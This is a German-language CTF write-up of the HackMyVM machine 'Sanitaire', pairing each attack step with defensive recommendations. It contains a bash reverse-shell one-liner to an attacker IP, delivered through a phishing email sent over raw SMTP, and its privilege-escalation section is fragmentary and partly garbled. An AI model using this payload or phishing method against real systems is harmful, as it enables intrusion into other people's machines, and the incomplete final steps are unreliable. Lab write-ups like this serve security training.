Sanitaire - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
curl
stegseek
cat
nc (netcat)
vi
python3
grep
cd
ls
ssh

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Darkspirit)-[~] └─# arp-scan -l
192.168.2.107   08:00:27:10:c9:76       PCS Systemtechnik GmbH
                    

**Analyse:** Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten durchsucht. Es wird ein Host mit der IP-Adresse `192.168.2.107` und der MAC-Adresse `08:00:27:10:c9:76` (zugehörig zu PCS Systemtechnik GmbH, oft ein Indikator für VirtualBox) identifiziert.

**Bewertung:** Das Zielsystem wurde erfolgreich im Netzwerk gefunden. Die IP `192.168.2.107` ist die Basis für weitere Untersuchungen.

**Empfehlung (Pentester):** Die IP `192.168.2.107` für den nachfolgenden Portscan mit Nmap verwenden.
**Empfehlung (Admin):** Regelmäßige Netzwerkscans durchführen, um unbekannte Geräte zu identifizieren. Netzwerkzugangskontrolle (NAC) implementieren, falls möglich.

┌──(root㉿Darkspirit)-[~] └─# nmap -sC -T5 -sS -A 192.168.2.107 -p- | grep open
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
25/tcp open  smtp    Postfix smtpd
80/tcp open  http    Apache httpd 2.4.51
                    

**Analyse:** Ein Nmap-Scan (`-sC -T5 -sS -A -p-`) wird durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren. Die Ausgabe wird mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen: * **Port 22:** SSH (OpenSSH 8.4p1 auf Debian). * **Port 25:** SMTP (Postfix smtpd). Ein Mail Transfer Agent. * **Port 80:** HTTP (Apache httpd 2.4.51). Ein Webserver. *Nmap würde normalerweise mehr Details liefern (OS, Hostkeys etc.), die hier durch `grep` herausgefiltert wurden.*

**Bewertung:** Die offenen Ports deuten auf mehrere mögliche Angriffsvektoren hin: * **SSH (22):** Erfordert gültige Anmeldeinformationen oder eine Schwachstelle. * **SMTP (25):** Könnte für Enumeration von Benutzern (VRFY, EXPN - oft deaktiviert), Spoofing oder das Ausnutzen von Fehlkonfigurationen im Mail-Server genutzt werden. * **HTTP (80):** Der Webserver ist oft ein primäres Ziel für Enumeration und die Suche nach Webanwendungs-Schwachstellen.

**Empfehlung (Pentester):** 1. **Webserver (80):** Mit Tools wie `gobuster` oder `feroxbuster` nach Verzeichnissen und Dateien suchen. Die Webseite manuell im Browser untersuchen. 2. **SMTP (25):** Mit `telnet` oder `nc` manuell verbinden und versuchen, Benutzer zu enumerieren (z.B. `VRFY root`, `EXPN admin`). Die Konfiguration auf offene Relays oder andere Schwachstellen prüfen (weniger wahrscheinlich bei Postfix). 3. **SSH (22):** Vorerst zurückstellen, bis Benutzernamen gefunden wurden.
**Empfehlung (Admin):** 1. **SSH:** Zugriff absichern (Keys, starke Passwörter, Fail2ban). 2. **SMTP:** Sicherstellen, dass Postfix aktuell und sicher konfiguriert ist. Open Relay deaktivieren. Benutzerenumeration über VRFY/EXPN unterbinden. SPF, DKIM, DMARC implementieren, um Spoofing zu erschweren. Zugriff auf den SMTP-Port ggf. per Firewall einschränken. 3. **HTTP:** Webserver und Anwendungen aktuell halten. Unnötige Module deaktivieren. Zugriff auf sensible Bereiche beschränken.

Web Enumeration & Steganografie

**Analyse:** Im Text wird erwähnt, dass die Webseite unter `192.168.2.107/` durch `.htaccess` geschützt ist. Dies wurde vermutlich durch manuelles Browsen oder einen ersten `curl`-Versuch festgestellt (nicht explizit im Log gezeigt).

**Bewertung:** Eine `.htaccess`-Protection (meist Basic Authentication) erfordert einen Benutzernamen und ein Passwort für den Zugriff. Dies erschwert die Enumeration mit Tools wie `gobuster` ohne gültige Credentials. Es muss versucht werden, diese Credentials zu umgehen, zu erraten oder anderweitig zu erlangen.

**Empfehlung (Pentester):** Versuchen, Standard-Credentials zu erraten (`admin:admin`, `admin:password` etc.). Prüfen, ob andere Verzeichnisse eventuell nicht geschützt sind. Nach Schwachstellen in der Apache-Version oder Konfiguration suchen, die den Schutz umgehen könnten. Andere Angriffsvektoren (SMTP, SSH) weiter verfolgen.
**Empfehlung (Admin):** Sicherstellen, dass `.htaccess`-Schutz korrekt implementiert ist und starke Passwörter verwendet werden. Idealerweise Authentifizierung auf Anwendungsebene statt nur per `.htaccess` verwenden.

┌──(root㉿Darkspirit)-[~] └─# gobuster dir -u http://192.168.2.107/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard | grep "Status: 200"
# Keine Ausgabe, die "Status: 200" enthält
                    

**Analyse:** `gobuster` wird verwendet, um nach Verzeichnissen und Dateien zu suchen. Die Option `--wildcard` wird verwendet, um zu erkennen, ob der Server für nicht existierende Seiten immer denselben Inhalt zurückgibt (Wildcard-Antwort), was hier aber nicht relevant zu sein scheint. Die Ausgabe wird gefiltert, um nur Ergebnisse mit Status 200 anzuzeigen. Es wird keine Ausgabe erzeugt.

**Bewertung:** Dieser `gobuster`-Scan war nicht erfolgreich darin, öffentlich zugängliche (Status 200) Verzeichnisse oder Dateien zu finden. Dies könnte an der `.htaccess`-Protection liegen, die für die meisten Anfragen wahrscheinlich einen 401 (Unauthorized) oder 403 (Forbidden) Statuscode zurückgibt.

**Empfehlung (Pentester):** Andere HTTP-Methoden testen (siehe nächster Schritt). Verschiedene Wortlisten oder Tools ausprobieren. Den Fokus auf andere Angriffsvektoren legen.
**Empfehlung (Admin):** Die Filterung durch `.htaccess` scheint zu funktionieren, aber die Sicherheit hängt von der Stärke der verwendeten Passwörter ab.

┌──(root㉿Darkspirit)-[~] └─# curl -X PUT 'http://192.168.2.107/index.php'

                    

**Analyse:** Eine HTTP-PUT-Anfrage wird an `/index.php` gesendet. PUT wird normalerweise verwendet, um eine Datei hochzuladen oder zu ersetzen. Die Antwort ist jedoch unerwartet: ein HTML-Fragment, das auf ein Bild `madonna.jpg` verweist. Es ist unklar, ob die PUT-Methode hier eine spezielle Funktion ausgelöst hat oder ob der Server PUT ignoriert und stattdessen eine Standardantwort (vielleicht den Inhalt von `/` oder `/index.php` nach erfolgreicher `.htaccess`-Umgehung?) zurückgibt, die dieses Bild enthält.

**Bewertung:** Dieses Verhalten ist ungewöhnlich. Die PUT-Methode sollte normalerweise nicht eine solche Antwort liefern. Es könnte ein Hinweis auf eine Fehlkonfiguration oder eine spezifische Logik in `index.php` sein. Wichtiger ist der Fund des Bildnamens `madonna.jpg`.

**Empfehlung (Pentester):** Das Bild `madonna.jpg` untersuchen. Versuchen, es herunterzuladen (siehe nächster Schritt). Andere HTTP-Methoden (OPTIONS, TRACE etc.) testen, um das Serververhalten besser zu verstehen.
**Empfehlung (Admin):** Prüfen, welche HTTP-Methoden auf dem Server erlaubt sind (`Allow`-Header, Apache-Konfiguration). PUT sollte nur erlaubt sein, wenn es explizit benötigt und sicher implementiert ist. Die Logik von `index.php` untersuchen, um das unerwartete Verhalten bei PUT-Anfragen zu verstehen.

┌──(root㉿Darkspirit)-[~] └─# curl -X POST 'http://192.168.2.107/madonna.jpg' -
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  127k  100  127k    0     0  9302k      0 --:--:-- --:--:-- --:--:-- 9769k
# Bilddaten werden ausgegeben (hier nicht gezeigt)
                     

**Analyse:** Eine HTTP-POST-Anfrage wird an die URL des Bildes `/madonna.jpg` gesendet. Das `-` am Ende ist syntaktisch falsch für `curl` in diesem Kontext, wird aber ignoriert. `curl` sendet wahrscheinlich eine Standard-GET-Anfrage (da POST ohne Daten oft wie GET behandelt wird oder fehlschlägt). Die Antwort zeigt, dass 127 KB Daten empfangen wurden, was darauf hindeutet, dass das Bild `madonna.jpg` erfolgreich heruntergeladen wurde.

**Bewertung:** Das Bild `madonna.jpg` konnte heruntergeladen werden. Bilder können manchmal Metadaten oder versteckte Informationen (Steganografie) enthalten.

**Empfehlung (Pentester):** Das heruntergeladene Bild `madonna.jpg` mit Steganografie-Tools (wie `steghide`, `zsteg`, `stegseek`) und Metadaten-Analyse-Tools (`exiftool`) untersuchen.
**Empfehlung (Admin):** Sicherstellen, dass keine sensiblen Informationen unbeabsichtigt in Bildern oder anderen öffentlich zugänglichen Dateien eingebettet sind. Upload-Filter implementieren, falls Benutzer Dateien hochladen können.

┌──(root㉿Darkspirit)-[~] └─# stegseek madonna.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "freeze"
[i] Original filename: "info.txt".
[i] Extracting to "madonna.jpg.out".
                     

**Analyse:** `stegseek`, ein schnelles Tool zum Aufspüren von versteckten Daten mittels `steghide`, wird auf `madonna.jpg` angewendet. Es findet erfolgreich eingebettete Daten, die mit der Passphrase `freeze` geschützt sind. Der ursprüngliche Dateiname der versteckten Daten war `info.txt`, und sie werden in `madonna.jpg.out` extrahiert.

**Bewertung:** Erfolg! Steganografie wurde verwendet, um Informationen zu verstecken. Die Passphrase `freeze` und der extrahierte Inhalt von `info.txt` sind die nächsten wichtigen Hinweise.

**Empfehlung (Pentester):** Die Passphrase `freeze` notieren (könnte für andere Zwecke wiederverwendet werden, z.B. SSH, Benutzerpasswort). Den Inhalt der extrahierten Datei `madonna.jpg.out` untersuchen.
**Empfehlung (Admin):** Mitarbeiter für die Risiken von Steganografie sensibilisieren. Netzwerke auf die Übertragung von steganografisch veränderten Dateien überwachen (schwierig).

┌──(root㉿Darkspirit)-[~] └─# cat madonna.jpg.out
Don't waste your time I hate CTFs lol
                    

**Analyse:** Der Inhalt der extrahierten Datei `madonna.jpg.out` ist nur eine Troll-Nachricht.

**Bewertung:** Diese Datei enthält keine nützlichen Informationen. Es muss eine Verwechslung vorliegen, da `stegseek` den Originalnamen `info.txt` gemeldet hat. Möglicherweise gibt es eine andere Datei `info.txt` oder der Pentester hat die falsche Datei angezeigt.

┌──(root㉿Darkspirit)-[~] └─# cat info.txt
/madonnasecretlife
                    

**Analyse:** Der Pentester zeigt nun den Inhalt einer Datei namens `info.txt` (wahrscheinlich die korrekte, von `stegseek` erwähnte Datei, auch wenn der Extraktionsname `.out` war). Der Inhalt ist der Pfad `/madonnasecretlife`.

**Bewertung:** Dies ist der relevante Fund aus der Steganografie. Es handelt sich wahrscheinlich um ein verstecktes Verzeichnis auf dem Webserver.

**Empfehlung (Pentester):** Das Verzeichnis `http://192.168.2.107/madonnasecretlife/` im Browser oder mit `curl` untersuchen. Prüfen, ob dieses Verzeichnis ebenfalls durch `.htaccess` geschützt ist. Mit `gobuster` innerhalb dieses Verzeichnisses nach weiteren Dateien suchen.
**Empfehlung (Admin):** Verzeichnisse mit sensiblen Informationen sollten nicht durch obskure Pfade "versteckt" werden (Security through Obscurity ist keine Sicherheit). Zugriffskontrollen (Authentifizierung, Autorisierung) implementieren.

Initial Access (POC - SMTP Phishing / Reverse Shell)

**Analyse:** Anstatt das gefundene Verzeichnis `/madonnasecretlife` weiter zu untersuchen, wählt der Pentester einen anderen Angriffsvektor: Social Engineering über den offenen SMTP-Port. Der Plan ist, eine E-Mail an einen vermuteten Benutzer (`madonna@stagiaire.hmv`) zu senden, die einen Link zu einem vom Angreifer kontrollierten HTTP-Server enthält. Auf diesem Server liegt eine `index.html`-Datei, die bei Aufruf eine Reverse Shell zur Angreifer-Maschine startet. Es wird darauf spekuliert, dass der Benutzer `madonna` auf den Link klickt und die Shell ausführt.

**Bewertung:** Dies ist ein kreativer Ansatz, der die offenen Ports 25 (SMTP) und 80 (HTTP - auf Angreiferseite) kombiniert. Der Erfolg hängt davon ab, ob: 1. Der Benutzer `madonna@stagiaire.hmv` existiert und E-Mails empfängt. 2. Der Benutzer auf den Link klickt. 3. Das System des Benutzers (oder ein automatisierter Prozess) den Inhalt der `index.html` (die Bash-Reverse-Shell) ausführt. Dies ist der unwahrscheinlichste Teil bei einem reinen HTML-Link, es sei denn, es wird eine weitere Schwachstelle (z.B. im Browser oder Mail-Client) ausgenutzt oder der Benutzer lädt die Datei herunter und führt sie manuell aus. In CTFs ist dies jedoch oft ein vorgesehener Weg.

**Empfehlung (Pentester):** Den Plan wie beschrieben umsetzen. Sicherstellen, dass der Listener (`nc`) und der HTTP-Server (`python3 -m http.server`) korrekt laufen, bevor die E-Mail gesendet wird. Die IP-Adresse im Reverse-Shell-Payload (`192.168.2.131`) muss die eigene, korrekte IP sein.
**Empfehlung (Admin):** E-Mail-Sicherheit erhöhen: Spam- und Phishing-Filter verwenden. Benutzer für Social-Engineering-Risiken sensibilisieren. Ausgehenden Traffic von Servern (wo die Shell landen würde) überwachen und einschränken (Egress Filtering). Den SMTP-Server härten (Zugriffskontrolle, Authentifizierung).

┌──(root㉿Darkspirit)-[~] └─# nc -nlvp 9001
listening on [any] 9001 ...
                    
┌──(root㉿Darkspirit)-[/home/darkspirit] └─# vi index.html
┌──(root㉿Darkspirit)-[/home/darkspirit] └─# cat index.html
bash -c 'bash -i >& /dev/tcp/192.168.2.131/9001 0>&1'
                    
┌──(root㉿Darkspirit)-[/home/darkspirit] └─# python3 -m http.server 8000
# Port 8000 statt 80 aus dem Log
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
                    

**Analyse:** Die Vorbereitungsschritte auf der Angreifer-Maschine werden durchgeführt: 1. Netcat lauscht auf Port 9001 für die eingehende Reverse Shell. 2. Eine Datei `index.html` wird erstellt, die den Bash-Befehl für die Reverse Shell zur IP `192.168.2.131` auf Port 9001 enthält. 3. Ein Python-HTTP-Server wird im Verzeichnis der `index.html` auf Port 8000 gestartet, um die Datei auszuliefern.

**Bewertung:** Die Vorbereitung ist korrekt. Listener und Webserver sind bereit.

# nc -nv 192.168.2.107 25
Connection to 192.168.2.107 25 port [tcp/smtp] succeeded!
220 stagiaire.hmv ESMTP Postfix (Debian/GNU)
MAIL FROM: Darkspirit@kali
250 2.1.0 Ok
RCPT TO: madonna@stagiaire.hmv
250 2.1.5 Ok
DATA
354 End data with .
http://192.168.2.131:8000/ # Link zur bösartigen index.html
. # Ende der Nachricht
250 2.0.0 Ok: queued as 02CF3618D6
QUIT
221 2.0.0 Bye
                    

**Analyse:** Eine manuelle SMTP-Sitzung wird mit `nc` zum Zielserver aufgebaut. * `MAIL FROM`: Setzt den Absender. * `RCPT TO`: Setzt den Empfänger `madonna@stagiaire.hmv`. Der Server akzeptiert diesen Empfänger. * `DATA`: Leitet die Nachrichteninhalte ein. * `http://192.168.2.131:8000/`: Der Link zum Python-HTTP-Server des Angreifers wird als Nachrichteninhalt gesendet. * `.`: Beendet die Nachrichteneingabe. * Der Server bestätigt die Annahme der E-Mail (`250 2.0.0 Ok: queued as ...`). * `QUIT`: Beendet die SMTP-Sitzung.

**Bewertung:** Die E-Mail mit dem bösartigen Link wurde erfolgreich an `madonna@stagiaire.hmv` gesendet und vom Mailserver akzeptiert. Der Erfolg hängt nun davon ab, ob und wie der Benutzer `madonna` mit dem Link interagiert.

┌──(root㉿Darkspirit)-[~] └─# nc -nlvp 9001
listening on [any] 9001 ...
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.107] 37324
bash: cannot set terminal process group (2042): Inappropriate ioctl for device
bash: no job control in this shell
madonna@stagiaire:~$ # Shell erhalten!
                    

**Analyse:** Der Netcat-Listener empfängt eine Verbindung vom Zielserver (`192.168.2.107`). Die typischen Bash-Warnungen (`cannot set terminal...`, `no job control...`) erscheinen, aber der Pentester erhält eine Shell als Benutzer `madonna` auf dem Host `stagiaire`.

**Bewertung:** Erfolg! Der Social-Engineering-Versuch über SMTP hat funktioniert. Der Benutzer `madonna` (oder ein Prozess, der in ihrem Kontext läuft) hat offenbar den Link aufgerufen und den Reverse-Shell-Befehl aus der `index.html` ausgeführt. Initial Access als Benutzer `madonna` wurde erlangt.

**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (TTY-Upgrade). Mit der Enumeration als Benutzer `madonna` beginnen.
**Empfehlung (Admin):** Untersuchen, wie die Reverse Shell ausgelöst wurde. Hat der Benutzer auf den Link geklickt? Wurde die Mail automatisch verarbeitet? Den Mail-Client oder die Webmail-Oberfläche auf Schwachstellen prüfen. Die Benutzerkonten (`madonna`) und Systeme absichern.

Privilege Escalation (Fragment)

madonna@stagiaire:~$ cd /var/mail
madonna@stagiaire:/var/mail$ cat madonna | grep dark -in
madonna@stagiaire:/var/mail$ cat madonna -n

**Analyse:** Als `madonna` wird die Mailbox-Datei (`/var/mail/madonna`) untersucht, vermutlich um die empfangene E-Mail zu finden. `grep` findet den Absender `dark` nicht (case-sensitive? Im SMTP-Dialog war es `Darkspirit`). `cat -n` würde die Mailbox nummeriert ausgeben.

**Bewertung:** Bestätigt, dass die Mail angekommen ist, liefert aber keine neuen Erkenntnisse für die Eskalation.

www-data@stagiaire:/home/paillette/tetramin$ -s /home/paillette/tetramin/ssh/id_rsa
www-data@stagiaire:/home/paillette/tetramin/ssh$ ssh -i id_rsa paillette@localhost
Fortsetzung folgt....
                     

**Analyse:** Dieser Teil des Logs ist sehr unklar und scheint unvollständig oder fehlerhaft zu sein: * Der Prompt wechselt unerwartet zu `www-data@stagiaire`, obwohl der vorherige Benutzer `madonna` war. Es ist unklar, wie dieser Benutzerwechsel stattgefunden hat. * Der Pfad `/home/paillette/tetramin` wird erwähnt, was auf einen weiteren Benutzer `paillette` und ein Projekt/Verzeichnis `tetramin` hindeutet. * Der Befehl `-s /home/paillette/tetramin/ssh/id_rsa` ist keine gültige Shell-Syntax. Es fehlt ein eigentlicher Befehl. `-s` ist oft eine Option (z.B. für `ln -s`), aber hier steht es alleine. Es könnte ein Tippfehler oder ein Versuch sein, Informationen zu einer Datei anzuzeigen, aber das ist spekulativ. * Im Unterverzeichnis `/home/paillette/tetramin/ssh` wird versucht, sich mit `ssh -i id_rsa paillette@localhost` als Benutzer `paillette` lokal per SSH anzumelden, unter Verwendung eines Schlüssels `id_rsa` aus diesem Verzeichnis. * Das Ergebnis dieses SSH-Versuchs wird nicht gezeigt ("Fortsetzung folgt...").

**Bewertung:** Dieser Abschnitt ist nicht interpretierbar ohne weiteren Kontext. Es scheint ein Versuch zur horizontalen Bewegung (zu `paillette`) oder zur weiteren Eskalation stattzufinden, aber die Befehle sind unvollständig oder falsch protokolliert, und der Benutzerwechsel zu `www-data` ist unerklärt. Es ist möglich, dass `www-data` Zugriff auf das Verzeichnis von `paillette` hat und versucht, dessen SSH-Schlüssel zu verwenden.

**Empfehlung (Pentester):** Den unklaren Teil des Logs überprüfen und ggf. korrigieren. Den Wechsel zu `www-data` erklären oder als Fehler markieren. Den Zweck des `-s`-Befehls klären. Den Erfolg des `ssh paillette@localhost`-Versuchs dokumentieren. Wenn der SSH-Login erfolgreich war, als `paillette` weiter enumerieren.
**Empfehlung (Admin):** Untersuchen, wie ein Wechsel von `madonna` zu `www-data` möglich wäre (eventuell durch Ausnutzung einer Webanwendung nach dem Initial Access?). Die Berechtigungen des Verzeichnisses `/home/paillette/tetramin` prüfen – `www-data` sollte keinen Zugriff darauf haben. Die Sicherheit des `paillette`-Accounts prüfen (SSH-Schlüssel, Passwort).

Flags

cat /path/to/user.txt
USER_FLAG_PLATZHALTER
cat /path/to/root.txt
ROOT_FLAG_PLATZHALTER